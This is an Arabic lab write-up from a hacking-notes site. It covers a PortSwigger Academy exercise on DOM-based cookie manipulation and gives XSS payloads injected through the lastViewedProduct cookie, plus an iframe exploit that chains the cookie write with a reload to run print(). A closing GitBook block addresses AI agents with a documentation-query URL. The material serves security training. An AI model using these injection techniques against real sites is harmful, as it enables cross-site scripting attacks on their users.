> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/web/dom/dom-based-cookie-manipulation.md).

# تلاعب الكوكي القائم على DOM

### التلاعب بالكوكيز المعتمد على DOM

يُظهر هذا المختبر تلاعبًا من جهة العميل (DOM) بملفات تعريف الارتباط، مما يتيح حقن قيمة في `lastViewedProduct` ملف تعريف الارتباط. يمكن أن يؤدي تغيير هذه القيمة إلى تنفيذ محتوى (XSS) في صفحة أخرى واستدعاء `print()` الدالة. يتم الاستغلال عبر توجيه الضحية من خلال خادم الاستغلال إلى الصفحات اللازمة.

* يوجد ملف تعريف ارتباط للجلسة باسم `lastViewedProduct` والذي يحتوي على رابط آخر منتج تمت مشاهدته.

<figure><img src="/files/51beb0498ac1fb1b645f34d45143e391f32523fc" alt=""><figcaption></figcaption></figure>

* في الصفحة يوجد قسم "آخر منتج تمت مشاهدته" مع رابط مثل `&lt;a href=".../product?productId=1"&gt;آخر منتج تمت مشاهدته&lt;/a&gt;`.

<figure><img src="/files/e96c8273da1638145c5cc25f4bdb2bae0a4b7714" alt=""><figcaption></figcaption></figure>

* من خلال تغيير القيمة المخزنة على أنها "آخر عرض للصفحة"، يمكن تفسير الرابط المعروض كـ HTML/JS.
* من خلال استبدال قيمة ملف تعريف الارتباط بعنوان URL خارجي (`https://jord4n.pro`) يعيد الرابط التوجيه إلى هذا الموقع.

<figure><img src="/files/10357236e67994be9ed0aa15fa25e46ecac789ad" alt=""><figcaption></figcaption></figure>

إدراج `JavaScript:print()` في القيمة يُفسَّر بواسطة المتصفح في هذا السياق.

<figure><img src="/files/b25ad76a241af52928b66da2b9bdeeb480e6ed2d" alt=""><figcaption></figcaption></figure>

* من خلال حقن حمولة تحتوي على HTML، على سبيل المثال `productId=1&'><h1>TEST</h1>`، يتم عرض المحتوى.

{% code overflow="wrap" %}

```html
<a href="https://0a73004204b35bb980b9218200c90043.web-security-academy.net/product?productId=1">آخر منتج تمت مشاهدته</a>
```

{% endcode %}

<figure><img src="/files/f14f5e188f339e39d6ad8c80b89a129df13d5566" alt=""><figcaption></figcaption></figure>

حمولة برمجية مثل `productId=1&'><script>print()</script>` يُفسَّر ويُفعَّل أيضًا `print()`.

```
productId=1&'><script>print()</script>
```

<figure><img src="/files/923a750b55f9a99daebdc851140de5c62e7c320b" alt=""><figcaption></figcaption></figure>

1. خزّن الضحية في `lastViewedProduct` ملف تعريف الارتباط قيمةً تحتوي على الحقن (تُستخدم صفحة المنتج لحفظ هذه القيمة).
2. ثم وجّه الضحية إلى الصفحة الرئيسية (أو الصفحة التي تعرض "آخر منتج تمت مشاهدته") حتى تُعاد القيمة غير المُشكَّلة بشكل صحيح ويُنفَّذ البرنامج النصي (`print()`).
3. استخدم خادم الاستغلال لتنظيم إعادة التوجيه إلى صفحة المنتج (التي تكتب ملف تعريف الارتباط) ثم إلى الصفحة التي يُعرض فيها ملف تعريف الارتباط.

{% code overflow="wrap" %}

```javascript
<iframe src="https://0a73004204b35bb980b9218200c90043.web-security-academy.net/product?productId=1&'><script>print()</script>" onload="if(!window.x){this.src='https://0a73004204b35bb980b9218200c90043.web-security-academy.net/'; window.x=1;}"></iframe>
```

{% endcode %}

<figure><img src="/files/f455d73690054db5c266ab1b7f4bee46e66c1584" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/web/dom/dom-based-cookie-manipulation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
